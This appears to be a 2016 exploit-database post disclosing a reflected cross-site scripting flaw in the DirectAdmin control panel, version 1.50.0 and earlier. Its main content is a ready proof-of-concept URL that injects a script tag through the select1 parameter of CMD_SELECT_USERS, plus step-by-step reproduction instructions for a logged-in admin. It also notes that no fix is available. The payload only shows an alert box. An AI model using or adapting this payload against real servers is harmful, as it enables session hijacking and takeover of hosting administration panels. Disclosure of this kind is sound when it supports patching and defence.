Directadmin ControlPanel 1.50.0 Version Xss Vulnerability

2016-04-09 16:16:47
Posted by: irist.ir

#################################

#
# @@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@@@@@
# @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@
# @@@ @@@@@@@@@@@ @@@ @ @@@@@@@@@@ @@@ @@@@@@
# @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@
# @@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@ @@@ @@@
#

#####################################

#####################################

# Iranian Exploit DataBase

# Directadmin ControlPanel 1.50.0 Version Xss Vulnerability

# Directadmin Version : 1.50.0 And Old Version

# Testet On : Centos 5 and 6 - Directadmin 1.50.0

# Vendor site : http://www.directadmin.com

# Pic : http://kkli.ir/VPFl5

# Author : Amir ( Iedb.Ir And IrIsT.Ir )

# Site : Www.IeDb.Ir - Www.IeDb.Ir/acc - xssed.Ir - kkli.ir - irist.ir

# Vulnerability attack information site : http://xssed.Ir/

# Site And Forum : http://iedb.ir & http://iedb.ir/acc

# Archive Exploit = http://iedb.ir/exploits-5004.html

#####################################

Bug :

http://ip:2222[port]/CMD_SELECT_USERS?select1=iedb.ir'"><script>alert('Directadmin Xss - By Amir - Iedb.Ir')</script>&reason=none&delete=Delete&location=CMD_ALL_USER_SHOW

Xss In Directadmin - Picture :

http://up.iedb.ir/uploads/directadmin-xss-Bug-by-iedb-ir.jpg

-------------

Description :

To use this bug, you must first Login the admin user has gone DirectAdmin control panel.
Then you go to the following:
Show All Users

Then select a user and click on the delete option.

Then open the link where you can enter your code xss.

http://ip:2222[port]/CMD_SELECT_USERS?select1=Site'"><script>alert('Directadmin Xss - By Amir - Iedb.Ir')</script>&reason=none&delete=Delete&location=CMD_ALL_USER_SHOW

Photo: http://kkli.ir/bIyCB

This bug has been tested and works on the new version of DirectAdmin.

There are other versions of this security problem.

Iedb.Ir And IrIsT.Ir Security And Exploit Team ==>> http://iedb.ir And http://irist.ir

Thanks to all my friends and team managers Security http://iedb.ir And http://iedb.ir/acc And http://xssed.ir

#####################################

# Archive Exploit = http://kkli.ir/liZLC

#####################################

Fixes

No fixes

In order to submit a new fix you need to be registered.